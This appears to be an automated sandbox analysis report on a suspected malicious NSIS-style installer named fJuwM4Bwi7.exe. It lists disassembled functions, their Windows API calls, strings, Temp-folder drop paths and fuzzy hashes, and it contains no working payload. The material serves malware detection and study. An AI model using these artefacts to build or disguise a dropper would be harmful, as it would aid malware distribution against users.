Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 36591f86aa2c1f2adefcdb7238d8e5e1d903d288247f27f70a02a30479273739
Instruction ID: 4daead48d26ae6742cc4751adb680189456718570d67c7320b978f12710e1ab5
Opcode Fuzzy Hash: 36591f86aa2c1f2adefcdb7238d8e5e1d903d288247f27f70a02a30479273739
Instruction Fuzzy Hash: DFD0C7B7B141006BD750E7B86E8545A73E8F75135A7148837D502E1191D17DC9415519

Non-executed Functions

Function 0040499C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B4
GetDlgItem.USER32(?,00000408), ref: 004049BF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A09
LoadBitmapA.USER32(0000006E), ref: 00404A1C
SetWindowLongA.USER32(?,000000FC,00404F93), ref: 00404A35
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A49
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5B
SendMessageA.USER32(?,00001109,00000002), ref: 00404A71
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A7D
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A8F
DeleteObject.GDI32(00000000), ref: 00404A92
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404ABD
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404AC9
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5E
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B89
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B9D
GetWindowLongA.USER32(?,000000F0), ref: 00404BCC
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404BDA
ShowWindow.USER32(?,00000005), ref: 00404BEB
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CE8
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D4D
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D62
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D86
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404DA6
ImageList_Destroy.COMCTL32(00000000), ref: 00404DBB
GlobalFree.KERNEL32(00000000), ref: 00404DCB
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E44
SendMessageA.USER32(?,00001102,?,?), ref: 00404EED
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EFC
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1C
ShowWindow.USER32(?,00000000), ref: 00404F6A
GetDlgItem.USER32(?,000003FE), ref: 00404F75
ShowWindow.USER32(00000000), ref: 00404F7C

Strings

wi, xrefs: 00404F22
, xrefs: 00404F54
M, xrefs: 00404B45
N, xrefs: 00404C26

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N$wi
API String ID: 1638840714-531399164
Opcode ID: 48884298102dd397bd7c84c821747a4fdce173a69a1f3747addc236cef338d07
Instruction ID: ec1b41ef9246f4b5ca9c31e675ea93c5522bc938a585a88f05d0904c7564d9ec
Opcode Fuzzy Hash: 48884298102dd397bd7c84c821747a4fdce173a69a1f3747addc236cef338d07
Instruction Fuzzy Hash: 7A025FB0900209AFEB10DF94DC85AAE7BB5FB84315F10817AFA10B62E1D7789D42DF58

Function 0040442A Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404479
SetWindowTextA.USER32(00000000,?), ref: 004044A3
SHBrowseForFolderA.SHELL32(?,0041F0D0,?), ref: 00404554
CoTaskMemFree.OLE32(00000000), ref: 0040455F
lstrcmpiA.KERNEL32(Call,Angribeligere Setup: Installing), ref: 00404591
lstrcatA.KERNEL32(?,Call), ref: 0040459D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004045AF

Part of subcall function 0040552E: GetDlgItemTextA.USER32(?,?,00000400,004045E6), ref: 00405541

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040601B

GetDiskFreeSpaceA.KERNEL32(0041ECC8,?,?,0000040F,?,0041ECC8,0041ECC8,?,00000000,0041ECC8,?,?,000003FB,?), ref: 0040466C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404687

Part of subcall function 004047E0: lstrlenA.KERNEL32(Angribeligere Setup: Installing,Angribeligere Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
Part of subcall function 004047E0: wsprintfA.USER32 ref: 00404886
Part of subcall function 004047E0: SetDlgItemTextA.USER32(?,Angribeligere Setup: Installing), ref: 00404899

Strings

wi, xrefs: 004046E3
A, xrefs: 0040454D
Call, xrefs: 0040458B, 00404590, 0040459B
Angribeligere Setup: Installing, xrefs: 00404527, 0040458A
C:\Users\user\AppData\Local\Temp\terephthalate\edderdun, xrefs: 0040457A

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$Angribeligere Setup: Installing$C:\Users\user\AppData\Local\Temp\terephthalate\edderdun$Call$wi
API String ID: 2624150263-1536733886
Opcode ID: 460c116a5067c679cb5b5ce948a3056466bcf158c5435e38ad8be33a97865feb
Instruction ID: 5a451af96f6c61f8b8aedc9e732e962e3b59a2a539d705b9404eba0a1a8e20eb
Opcode Fuzzy Hash: 460c116a5067c679cb5b5ce948a3056466bcf158c5435e38ad8be33a97865feb
Instruction Fuzzy Hash: A6A162B1900208ABDB11AFA6CD45AEFB7B9EF85314F10843BF611B72D1D77C89418B69

Function 00402645 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402654

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 21f2deb84e4fe94a37f3c530ba23b3725dbfe4e9087708a3ee461911f2001047
Instruction ID: 2b7524724565807a685c72c68d6b6eabb337ae57375c882a310f3ed35d4a28aa
Opcode Fuzzy Hash: 21f2deb84e4fe94a37f3c530ba23b3725dbfe4e9087708a3ee461911f2001047
Instruction Fuzzy Hash: D4F0EC72504110EBD700EBB4994DAEE77B8DF51314F60457BE141F21C1D3B84945E72E

Function 00404135 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004041C0
GetDlgItem.USER32(00000000,000003E8), ref: 004041D4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041F2
GetSysColor.USER32(?), ref: 00404203
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404212
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404221
lstrlenA.KERNEL32(?), ref: 00404224
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404233
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404248
GetDlgItem.USER32(?,0000040A), ref: 004042AA
SendMessageA.USER32(00000000), ref: 004042AD
GetDlgItem.USER32(?,000003E8), ref: 004042D8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404318
LoadCursorA.USER32(00000000,00007F02), ref: 00404327
SetCursor.USER32(00000000), ref: 00404330
ShellExecuteA.SHELL32(0000070B,open,004226A0,00000000,00000000,00000001), ref: 00404343
LoadCursorA.USER32(00000000,00007F00), ref: 00404350
SetCursor.USER32(00000000), ref: 00404353
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040437F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404393

Strings

N, xrefs: 004042C6
wi, xrefs: 00404155
open, xrefs: 0040433B
Call, xrefs: 00404303

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open$wi
API String ID: 3615053054-204474362
Opcode ID: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction ID: 47d1c741c4840d0b501b4796cf3fe0e3440e9ec9cd7b0debe1a5eac4f9bfffd7
Opcode Fuzzy Hash: aa854a75b9a8ef41e2656ff54a1ab69c816baf86c41e2f577b142ace3155aca6
Instruction Fuzzy Hash: 8F61A0B1A40309BFEB109F61DD45F6A7B69FB84704F108026FB04BB2D1C7B8A951CB99

Function 00405A6E Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421A88,NUL,?,00000000,?,00000000,?,00405C12,?,?,00000001,004057B5,?,00000000,000000F1,?), ref: 00405A7E
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405C12,?,?,00000001,004057B5,?,00000000,000000F1,?), ref: 00405AA2
GetShortPathNameA.KERNEL32(00000000,00421A88,00000400), ref: 00405AAB

Part of subcall function 0040592C: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040593C
Part of subcall function 0040592C: lstrlenA.KERNEL32(00405B5B,?,00000000,00405B5B,00000000,[Rename],00000000,00000000,00000000), ref: 0040596E

GetShortPathNameA.KERNEL32(?,00421E88,00000400), ref: 00405AC8
wsprintfA.USER32 ref: 00405AE6
GetFileSize.KERNEL32(00000000,00000000,00421E88,C0000000,00000004,00421E88,?,?,?,?,?), ref: 00405B21
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405B30
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405B68
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00421688,00000000,-0000000A,004093A0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BBE
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405BD0
GlobalFree.KERNEL32(00000000), ref: 00405BD7
CloseHandle.KERNEL32(00000000), ref: 00405BDE

Part of subcall function 004059C7: GetFileAttributesA.KERNELBASE(00000003,00402CBC,C:\Users\user\Desktop\fJuwM4Bwi7.exe,80000000,00000003), ref: 004059CB
Part of subcall function 004059C7: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059ED

Strings

NUL, xrefs: 00405A78
%s=%s, xrefs: 00405ADC
[Rename], xrefs: 00405B50, 00405B62

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 1265525490-4148678300
Opcode ID: 042e64ae17e7c47ef1d56a04f1dfe6ef41ae4142583f66b70c6923dd5e444e24
Instruction ID: 2d1e09aab0418ff75005a817fdb93eb8b9645243d234663ae25a64343302d3c0
Opcode Fuzzy Hash: 042e64ae17e7c47ef1d56a04f1dfe6ef41ae4142583f66b70c6923dd5e444e24
Instruction Fuzzy Hash: BE41DEB1604A15BFD6206B219C49F6B3A6CDF45718F14053BBE01FA2D2EA7CB8018E7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00422F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction ID: ce5436bc7dfccdabf5b2378cdbc04c65b8fc1f8d51739f20964cb8902a5fcb59
Opcode Fuzzy Hash: c2d680870d7abd1e1a74e136b5aebc8f23ebe5596e06de1d1944de18111d68fb
Instruction Fuzzy Hash: F2419A72804249AFCF058F94CD459AFBFB9FF44310F00812AF961AA1A0C738EA50DFA5

Function 00405FA1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 00405FF9
CharNextA.USER32(?,?,?,00000000), ref: 00406006
CharNextA.USER32(?,"C:\Users\user\Desktop\fJuwM4Bwi7.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040600B
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,77463410,004033C9), ref: 0040601B

Strings

"C:\Users\user\Desktop\fJuwM4Bwi7.exe", xrefs: 00405FDD
C:\Users\user\AppData\Local\Temp\, xrefs: 00405FA2, 00405FA7
*?|<>/":, xrefs: 00405FE9

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\fJuwM4Bwi7.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2951792297
Opcode ID: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction ID: 96a923a8ee4f60b6f191beee89bac6a1f57d38d5d4ddb578b75945660f6dc773
Opcode Fuzzy Hash: cac177dc58e6cdce4745106bcf32f060ca56d97be21c35c0cc42ba282efa81fa
Instruction Fuzzy Hash: 57110451908B9229FB325A284C40B777F99CF5A760F18047FE5C1722C2C67C5C529B6E

Function 00404053 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00404070
GetSysColor.USER32(00000000), ref: 0040408C
SetTextColor.GDI32(?,00000000), ref: 00404098
SetBkMode.GDI32(?,?), ref: 004040A4
GetSysColor.USER32(?), ref: 004040B7
SetBkColor.GDI32(?,?), ref: 004040C7
DeleteObject.GDI32(?), ref: 004040E1
CreateBrushIndirect.GDI32(?), ref: 004040EB

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053932829.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_fJuwM4Bwi7.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 47825c477eeffae7bcc1b4b45db8633c52535f80fcd06c8b97140eed864a5805
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: 0621A4B18047049BCB309F68DD08B4BBBF8AF40714F048639EA95F26E1C738E944CB65

Function 100021FA Relevance: 10.6, APIs: 7, Instructions: 139memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 1000234A

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C3
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022D8
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E7
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F4
GlobalFree.KERNEL32(00000000), ref: 100022FB

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction ID: fe65b043c70383bd2b49c92c90746d4950a0c6047a38c1932a2dc3020861886a
Opcode Fuzzy Hash: 5812f53bea9c9c9f79666072e50bc0f3831b96dbb387c6cf78516ccbd9521935
Instruction Fuzzy Hash: F6418BB1108711EFF720DFA48884B5BB7F8FF443D1F218929F946D61A9DB34AA448B61

Function 100023DA Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNEL32(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B9
GlobalFree.KERNEL32(00000000), ref: 100024F3

Memory Dump Source

Source File: 00000005.00000002.79058661791.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.79058630911.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058691430.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.79058724593.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_fJuwM4Bwi7.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction ID: 82133e1bc6da927614d5bcfc3b496831b4cb396c3e6da136b8b2dca3161aa200
Opcode Fuzzy Hash: 28705be4039c1f606362c20ff13fdce37c258c5b4734a68cc6567389004174f8
Instruction Fuzzy Hash: 75319CB1504251EFF722CF94CCC4C6B7BBDEB852D4B128569FA4193228DB31AC54DB62

Function 00402683 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026D7
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026F3
GlobalFree.KERNEL32(?), ref: 0040272C
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 0040273E
GlobalFree.KERNEL32(00000000), ref: 00402745
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 0040275D
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 00402771

Memory Dump Source

Source File: 00000005.00000002.79053641923.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.79053606762.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053688051.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.79053727810.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
